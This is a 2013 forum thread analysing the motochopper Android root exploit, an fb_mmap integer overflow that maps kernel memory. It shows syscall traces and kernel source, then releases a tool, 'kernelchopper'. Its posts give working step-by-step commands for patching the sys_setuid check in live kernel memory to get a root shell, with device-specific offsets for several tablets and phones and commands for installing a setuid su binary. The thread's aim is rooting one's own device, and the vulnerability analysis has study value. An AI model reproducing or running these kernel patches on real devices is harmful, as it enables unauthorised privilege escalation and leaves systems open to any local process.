Post Reply

[Q] Understanding how motochopper works

29th April 2013, 12:00 AM   |  #1  
OP Junior Member
Thanks Meter: 34
 
21 posts
Join Date:Joined: Dec 2012
I ran the motochopper[1] "pwn" binary under an unprivileged shell on my CM10.1 Nexus 7 (Tegra chipset, codename "grouper"), and was surprised to find that it gained administrative privileges by changing all "shell"-owned (uid 2000) processes on the system to run as uid 0.

It was somewhat worrying to see that an up-to-date ROM had an unpatched vulnerability, and I was concerned about whether rogue apps could leverage it. The CVE entry[2] was surprisingly vague, compounding my suspicions.

Further investigation indicated that motochopper is running a series of syscalls from within a SIGTRAP handler to thwart tracing:

Code:
1662  [4019c940] sigaction(0x5, 0xbecfdcc8, 0xbecfdcc8) = 0
1662  [4019ba5c] gettid()               = 0x67e
1662  [4019d160] kill(0x67e, 0x5)       = 0
1662  [4019d160] kill(0, 0x5)           = 0x5
1662  [4019c940] sigaction(0, 0xbecfdcb0, 0xbecfdcb0) = 0x5
1662  [4019ba5c] gettid()               = 0x67e
1662  [4019d160] kill()                 = 0
1662  [4019c940] sigaction(0x5, 0xbecfdcb0, 0xbecfdcb0) = 0
1662  [4019ba5c] gettid()               = 0x67e
1662  [4019d160] kill(0x67e, 0x5)       = 0
1662  [4019d160] kill(0, 0x5)           = 0x5
1662  [4019c940] sigaction(0, 0xbecfdcb0, 0xbecfdcb0) = 0x5
1662  [4019ba5c] gettid()               = 0x67e
1662  [4019d160] kill()                 = 0
After disassembling the binary and patching it to invoke the syscalls directly, it looks like the problem involves the framebuffer driver. First, after opening a bunch of other (irrelevant, possibly decoy) devices, the exploit probes the real size of the framebuffer:

Code:
1728  open("/dev/graphics/fb0", O_RDWR) = 6
...
1728  mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x400f2000
1728  munmap(0x400f2000, 4096)          = 0
1728  mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x40011000
1728  munmap(0x40011000, 8192)          = 0
1728  mmap2(NULL, 12288, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x4006a000
1728  munmap(0x4006a000, 12288)         = 0
...
1728  mmap2(NULL, 9433088, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x4015b000
1728  munmap(0x4015b000, 9433088)       = 0
1728  mmap2(NULL, 9437184, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x4015b000
1728  munmap(0x4015b000, 9437184)       = 0
1728  mmap2(NULL, 9441280, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = -1 EINVAL (Invalid argument)
Then it tries to map the largest possible region into the process' address space:

Code:
1728  mmap2(NULL, 2415919104, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x70900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2399141888, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x71900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2382364672, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x72900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2365587456, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x73900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2348810240, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x74900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2332033024, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x75900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2315255808, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x76900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2298478592, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x77900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2281701376, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x78900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2264924160, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x79900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2248146944, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7a900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2231369728, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7b900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2214592512, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7c900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2197815296, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7d900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2181038080, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7e900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2164260864, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7f900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2147483648, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x80900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2130706432, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x81900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2113929216, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x82900) = 0x4015b000
Clearly, a 2GB mapping on a 1GB device should not have succeeded; apparently this overlaps with kernel memory and the exploit is able to iterate through the task_struct / creds to change the uid 2000 processes to uid 0:

Code:
1728  getuid()                          = 2000
1728  getuid()                          = 2000
1728  getuid()                          = 2000
1728  getuid()                          = 2000
1728  getuid()                          = 2000
1728  getuid()                          = 2000
1728  getuid()                          = 0
1728  getuid32()                        = 0
1728  write(1, "[+] Success!\n", 13)    = 13
Checking the perms on /dev/graphics/fb0, it looks like most apps will not have access to this device (though the "graphics" group) and would not be able to directly use this exploit.

Some unanswered questions:

Does this exploit target the kernel's framebuffer infrastructure itself, or only specific drivers? I did not see any obvious fixes along the Linux 3.0 -stable branch, nor did I see any recent Asus kernel commits in the CM github repo.

Why was the binary built with -fPIC and -O0? Is this a form of obfuscation?

What is the significance of probing the framebuffer size? Is it meaningful that 9437184 = 0x900000, and the first mmap() length attempt was 2415919104 = 0x90000000?


[1] http://forum.xda-developers.com/show....php?t=2252248

[2] http://web.nvd.nist.gov/view/vuln/de...=CVE-2013-2596


Edit:

Some recent changes were made to fbmem.c:fb_mmap() in mainline:

http://www.spinics.net/lists/stable/msg06210.html
https://lkml.org/lkml/2013/4/23/623

There is no custom fb_mmap() in Tegra's fb_ops struct.

Seeing the kernel maintainers madly rush to backport this innocuous-looking helper function to ancient releases like Linux 3.0, right around the same time motochopper was released (4/9), suggests that they might be trying to clean up a vulnerability in the framebuffer core.

Edit #2:

After staring at the code a little longer (and finally realizing that mmap2() takes a PAGE offset as its last argument, not a BYTE offset), here is what I see:

Code:
static int
fb_mmap(struct file *file, struct vm_area_struct * vma)
{
        struct fb_info *info = file_fb_info(file);
        struct fb_ops *fb;
        unsigned long off;
        unsigned long start;
        u32 len;

        if (!info)
                return -ENODEV;
        if (vma->vm_pgoff > (~0UL >> PAGE_SHIFT))
                return -EINVAL;
        off = vma->vm_pgoff << PAGE_SHIFT;
        fb = info->fbops;
        if (!fb)
                return -ENODEV;
        mutex_lock(&info->mm_lock);
        if (fb->fb_mmap) {
                int res;
                res = fb->fb_mmap(info, vma);
                mutex_unlock(&info->mm_lock);
                return res;
        }

        /* frame buffer memory */
        start = info->fix.smem_start;
        len = PAGE_ALIGN((start & ~PAGE_MASK) + info->fix.smem_len);
        if (off >= len) {
                /* memory mapped io */
                off -= len;
                if (info->var.accel_flags) {
                        mutex_unlock(&info->mm_lock);
                        return -EINVAL;
                }
                start = info->fix.mmio_start;
                len = PAGE_ALIGN((start & ~PAGE_MASK) + info->fix.mmio_len);
        }
        mutex_unlock(&info->mm_lock);
        start &= PAGE_MASK;
        if ((vma->vm_end - vma->vm_start + off) > len)
                return -EINVAL;
        off += start;
        vma->vm_pgoff = off >> PAGE_SHIFT;
        /* This is an IO map - tell maydump to skip this VMA */
        vma->vm_flags |= VM_IO | VM_RESERVED;
        vma->vm_page_prot = vm_get_page_prot(vma->vm_flags);
        fb_pgprotect(file, vma, off);
        if (io_remap_pfn_range(vma, vma->vm_start, off >> PAGE_SHIFT,
                             vma->vm_end - vma->vm_start, vma->vm_page_prot))
                return -EAGAIN;
        return 0;
}
The initial mmap2/munmap sequence is trying to deduce the rounded smem_len + (smem_start partial page byte) value (len) by trying successively larger values until the check in blue returns -EINVAL. Result: 9437184 = 0x900000 (i.e. the framebuffer size is 9MB).

fb_mmap() is funny in that offsets 0 through (len-1) map the framebuffer, but offset (len) maps byte 0 of mmio_start. Which looks to be uninitialized (zero) in the Tegra driver.

The second sequence of mmap2() calls is trying to find the largest possible mapping. The kernel mmap2() syscall returns -ENOMEM if the mapping is too large for the virtual address space available to the process; fb_mmap() is not even called if this happens. When fb_mmap() is eventually called:

Page offset = 0x82900
Byte offset = off = 0x82900 << PAGE_SHIFT = 0x8290_0000

len = 0x90_0000 and "off" is much larger than len, so this hits the MMIO case. len is subtracted from off, leaving 0x8200_0000. Since the offset is so large, the length check in blue overflows: the VMA size of 0x7e00_0000 plus a len of 0x8200_0000 comes out to exactly 0x1_0000_0000; truncated to 32 bits this is zero. This passes the sanity test, so the code in green happily creates a read-write mapping starting at physical address 0 (mmio_start) and covering all of kernel memory.

So basically motochopper is exploiting an unpublicized (but belatedly patched) kernel bug in fbmem.c.
Last edited by SW686; 29th April 2013 at 02:38 AM.
The Following 14 Users Say Thank You to SW686 For This Useful Post: [ View ]
30th April 2013, 06:55 AM   |  #2  
OP Junior Member
Thanks Meter: 34
 
21 posts
Join Date:Joined: Dec 2012
I'm posting a new, open source utility called "kernelchopper" which uses djrbliss' fb_mmap exploit to allow the advanced user to explore and modify kernel memory on a non-rooted system.

kernelchopper employs a few extra refinements to maximize the amount of kernel memory exposed to the user application:

1) It is built and linked statically using the Linaro glibc toolchain, because dynamically linked Bionic binaries tend to map libraries and other stuff in the 0x4000_0000 user address range - a critical part of the address space that we'd like to reserve for the kernel memory mapping

2) It uses MAP_FIXED to force the kernel to use the lowest VA available, and adjusts the base address until it finds a mutually agreeable number

On my Nexus 7 I was able to map PA range 0x5000_0000 - 0xffff_ffff. On Tegra systems, system RAM starts at PA 0x8000_0000 (= kernel VA 0xc000_0000), so it is trivial to patch the kernel image in place.

Sample usage:

A quick check of /proc/iomem shows that physical memory starts at PA 0x8000_0000; the decompressed kernel image lives at VA 0xc000_8000 (ARM 3GB/1GB standard) = PA 0x8000_8000. Make a note of this for later:

Code:
80000000-beafffff : System RAM
  80008000-80900a57 : Kernel text
  80944000-80b841af : Kernel data
Since I built my ROM from source, I have a kernel image with full symbols. Install binutils-multiarch and disassemble with "objdump -d vmlinux":

Code:
c0077650 <sys_setuid>:
c0077650:       e92d40f8        push    {r3, r4, r5, r6, r7, lr}
c0077654:       e1a05000        mov     r5, r0
c0077658:       eb0040d6        bl      c00879b8 <prepare_creds>
c007765c:       e2504000        subs    r4, r0, #0
c0077660:       0a000027        beq     c0077704 <sys_setuid+0xb4>
c0077664:       e1a0200d        mov     r2, sp
c0077668:       e3c23d7f        bic     r3, r2, #8128   ; 0x1fc0
c007766c:       e3c3303f        bic     r3, r3, #63     ; 0x3f
c0077670:       e3a00007        mov     r0, #7
c0077674:       e593300c        ldr     r3, [r3, #12]
c0077678:       e59362fc        ldr     r6, [r3, #764]  ; 0x2fc
c007767c:       ebffd80f        bl      c006d6c0 <nsown_capable>
c0077680:       e3500000        cmp     r0, #0
c0077684:       1a00000a        bne     c00776b4 <sys_setuid+0x64>
Forcing the branch in red to be taken unconditionally will allow any user to setuid() to any UID, bypassing the kernel's security checks. This is easy to do with kernelchopper. First verify that the code matches the disassembly:

Code:
shell@android:/data/local/tmp $ ./kernelchopper d 80077650 40                  
80077650: f8 40 2d e9 00 50 a0 e1 d6 40 00 eb 00 40 50 e2 
80077660: 27 00 00 0a 0d 20 a0 e1 7f 3d c2 e3 3f 30 c3 e3 
80077670: 07 00 a0 e3 0c 30 93 e5 fc 62 93 e5 0f d8 ff eb 
80077680: 00 00 50 e3 0a 00 00 1a 04 30 96 e5 05 00 53 e1
The little-endian word at PA 0x8007_7684 is 0a 00 00 1a = 0x1a00_000a. Let's change the instruction word to make it unconditional, and then invoke kernelchopper again to setuid() and spawn a shell:

Code:
shell@android:/data/local/tmp $ ./kernelchopper m 80077684                     
1a00000a
shell@android:/data/local/tmp $ ./kernelchopper m 80077684 ea00000a            
shell@android:/data/local/tmp $ ./kernelchopper shell                          
shell@android:/data/local/tmp # id
uid=0(root) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats)
At this point you can remount /system read-write, install an "su" binary in /system/xbin, make the "su" binary setuid root, and install Superuser/SuperSU. You will probably want to reboot soon because any other process running on the system can also get root until the virgin kernel is reloaded, if it somehow knows to try.

kernelchopper can also dump ranges of memory (and/or your kernel image) to a file, for offline analysis. This can help in locating things that you might want to change.

Code:
shell@android:/data/local/tmp $ ./kernelchopper d 80077650 bc setuid.bin       
shell@android:/data/local/tmp $ hexdump -C setuid.bin
00000000  f8 40 2d e9 00 50 a0 e1  d6 40 00 eb 00 40 50 e2  |.@-..P.. @...@P.|
00000010  27 00 00 0a 0d 20 a0 e1  7f 3d c2 e3 3f 30 c3 e3  |'.... ...=..?0..|
00000020  07 00 a0 e3 0c 30 93 e5  fc 62 93 e5 0f d8 ff eb  |.....0...b......|
00000030  00 00 50 e3 0a 00 00 ea  04 30 96 e5 05 00 53 e1  |..P......0....S.|
00000040  10 00 00 0a 0c 30 94 e5  05 00 53 e1 00 70 e0 13  |.....0....S..p..|
00000050  0c 00 00 0a 04 00 a0 e1  34 41 00 eb 07 00 a0 e1  |........4A......|
00000060  f8 80 bd e8 04 50 84 e5  0c 50 84 e5 04 30 96 e5  |.....P...P...0..|
00000070  05 00 53 e1 03 00 00 0a  04 00 a0 e1 97 fc ff eb  |..S.............|
00000080  00 70 50 e2 f2 ff ff ba  14 50 84 e5 04 00 a0 e1  |.pP......P......|
00000090  1c 50 84 e5 06 10 a0 e1  01 20 a0 e3 cb 61 06 eb  |.P....... ...a..|
000000a0  00 70 50 e2 ea ff ff ba  04 00 a0 e1 f8 40 bd e8  |.pP..........@..|
000000b0  32 41 00 ea 0b 70 e0 e3  e7 ff ff ea              |2A...p......|
000000bc
It is often possible to dump the kernel image range from /proc/iomem and either extract the kallsyms information, or compare code sequences to a similar kernel for which you do have symbols. This would allow you to locate interesting functions like sys_setuid() in unfamiliar images.
Attached Files
File Type: zip kernelchopper-1.0.zip - [Click for QR Code] (251.2 KB, 623 views)
The Following 16 Users Say Thank You to SW686 For This Useful Post: [ View ]
17th June 2013, 09:41 AM   |  #3  
Senior Member
Thanks Meter: 38
 
104 posts
Join Date:Joined: Mar 2010
@SW686,

Many, many thanks to you for your work on this.

Applying the latest OTA update for my ASUS TF700T left it in an almost unusable state due to some core frameworks not getting their permissions set properly. Fortunately, I still had ADB access, I just needed to get superuser privileges to fix the problem.

In the course of doing my research on how motochopper works so as to write my own exploit, I came across your posts. The clear and detailed explanations are excellent and saved me a great deal of time. Your kernelchopper did its job beautifully and allowed me to obtain a root shell and get my tab back to fully working condition. Although, admittedly, I was looking forward to the fun of writing my own hack. Thank you, again!

Cheers!

P.S. If you have a PayPal account and are so inclined, PM me your addy so I may send you a few dollars in appreciation.
26th June 2013, 05:44 PM   |  #4  
Senior Member
Thanks Meter: 39
 
501 posts
Join Date:Joined: Nov 2010
doesn't seem to work on my Acer A700.

patched like 3 setuid offsets to ea00000a, ./kernelchopper shell still giving me
setuid() failed: Operation not permitted

that's that try to root the device with locked bootloader.
26th June 2013, 06:05 PM   |  #5  
Senior Member
Thanks Meter: 38
 
104 posts
Join Date:Joined: Mar 2010
Quote:
Originally Posted by nex86

doesn't seem to work on my Acer A700.

patched like 3 setuid offsets to ea00000a, ./kernelchopper shell still giving me
setuid() failed: Operation not permitted

that's that try to root the device with locked bootloader.

What's the version of the ROM you're running?
29th June 2013, 06:22 PM   |  #6  
Senior Member
Thanks Meter: 39
 
501 posts
Join Date:Joined: Nov 2010
Rv16rc01 (Android 4.1.1)

I know there is a way to root it with an insecure boot.img, but that requires to unlock the bootloader.
It's just that there are people who want to root it without unlocking it, because there is no way to relock it.
30th June 2013, 01:14 PM   |  #7  
Senior Member
Thanks Meter: 38
 
104 posts
Join Date:Joined: Mar 2010
Quote:
Originally Posted by nex86

Rv16rc01 (Android 4.1.1)

OK, so the instruction to modify and its location are a bit different due to a combination of Acer building the kernel optimized for size and using (I believe) GCC 4.6. The instruction offset is 0x0006d258 and the instruction to modify is 0x0a000009.

These commands assume the kernel image starts at address 0x80008000. You can verify this using the command:
Code:
grep -Ei 'kernel (code|text)' /proc/iomem
The new set of commands and their output are:

Code:
shell@android:/data/local/tmp $ ./kernelchopper m 80075258                     
0a000009
shell@android:/data/local/tmp $ ./kernelchopper m 80075258 eaffffff
shell@android:/data/local/tmp $ ./kernelchopper shell                          
shell@android:/data/local/tmp # id
uid=0(root) [snipped]
This should give you root privileges and let you proceed with the rest of the rooting process.

Out of curiosity, did you try to just run motochopper? It will push over the superuser application and binary for you and doesn't require modifying the kernel memory by hand.
Last edited by becomingx; 1st July 2013 at 09:44 AM. Reason: Fix typo.
10th July 2013, 02:54 AM   |  #8  
Junior Member
Thanks Meter: 0
 
7 posts
Join Date:Joined: Apr 2011
Rooted Galaxy Express I8730T
Hi,

Just want to share my success in using 'kernelchopper' for Galaxy Express.

Following are information about the address location

./kernelchopper m 802806ec ea00000a

and files that I was able to copied over

/data/local/tmp/busybox mount -o remount,rw /system
/data/local/tmp/busybox mv /data/local/tmp/su /system/xbin/su
/data/local/tmp/busybox mv /data/local/tmp/Superuser.apk /system/app/Superuser.apk
/data/local/tmp/busybox cp /data/local/tmp/busybox /system/xbin/busybox
chown 0.0 /system/xbin/su
chmod 06755 /system/xbin/su
chmod 655 /system/app/Superuser.apk
chmod 755 /system/xbin/busybox

I'm attaching few screenshots I took
Attached Thumbnails
Click image for larger version

Name:	IMG_20130710_015507.jpg
Views:	190
Size:	213.2 KB
ID:	2104882   Click image for larger version

Name:	IMG_20130710_015420.jpg
Views:	156
Size:	253.0 KB
ID:	2104883   Click image for larger version

Name:	sys_setuid.jpg
Views:	247
Size:	69.0 KB
ID:	2104884   Click image for larger version

Name:	cpuinfo.jpg
Views:	152
Size:	15.7 KB
ID:	2104886  
10th July 2013, 02:58 AM   |  #9  
Junior Member
Thanks Meter: 0
 
7 posts
Join Date:Joined: Apr 2011
Some more screenshots
Attaching few more pictures
Attached Thumbnails
Click image for larger version

Name:	busybox.jpg
Views:	124
Size:	70.1 KB
ID:	2104896   Click image for larger version

Name:	IMG_20130710_015431.jpg
Views:	92
Size:	246.0 KB
ID:	2104897  
16th July 2013, 12:56 AM   |  #10  
Junior Member
Thanks Meter: 3
 
17 posts
Join Date:Joined: Nov 2010
Hi people,

First I have to say I admire your knowledge. I have a ZTE Blade G phone that hasn't been rooted yet. I figured the motocopper exploit might help, since the phone has MSM8225 SoC and it runs 4.1.2 android. It would not work. It actually wrote success once, but didn't actually get root. Now it just writes Bus Error. Now, I've poked a little with kernelchopper, but my /proc/iomem says quite a different thing from yours, presumably because the phone has just 512MB ram. If I try to dump any addresses above 80008000, it writes bus error. Here's the output:

Code:
00200000-0fbfffff : System RAM
00208000-00a48c6b : Kernel code
00a80000-00d33a23 : Kernel data
0fc01000-0fcfffff : System RAM
0fd01000-0fdfffff : System RAM
0fe01000-0fffffff : System RAM
20000000-296fffff : System RAM
a0000000-a001ffff : kgsl_3d0_reg_memory
a0000000-a001ffff : kgsl-3d0
a0200000-a0200fff : msm_serial_hs.0
a0300000-a0300fff : uartdm_resource
a0300000-a0300fff : msm_serial_hsl
I don't really know what this means, but I know in your program you don't allow addresses below 0x50000000, so it won't work. I figured I would kind of dump the whole kernel ram and search for similar commands. I don't even know how, but I figure it would be fun. So, can you point me in the right direction here? I'm a noob, but I want to learn. BTW, for my phone, there isn't any recovery image or I could disassemble, and the bootloader seems to be locked too.

Post Reply Subscribe to Thread
Previous Thread Next Thread
Thread Tools Search this Thread
Search this Thread:

Advanced Search
Display Modes


Top Threads in Questions and Answers by ThreadRank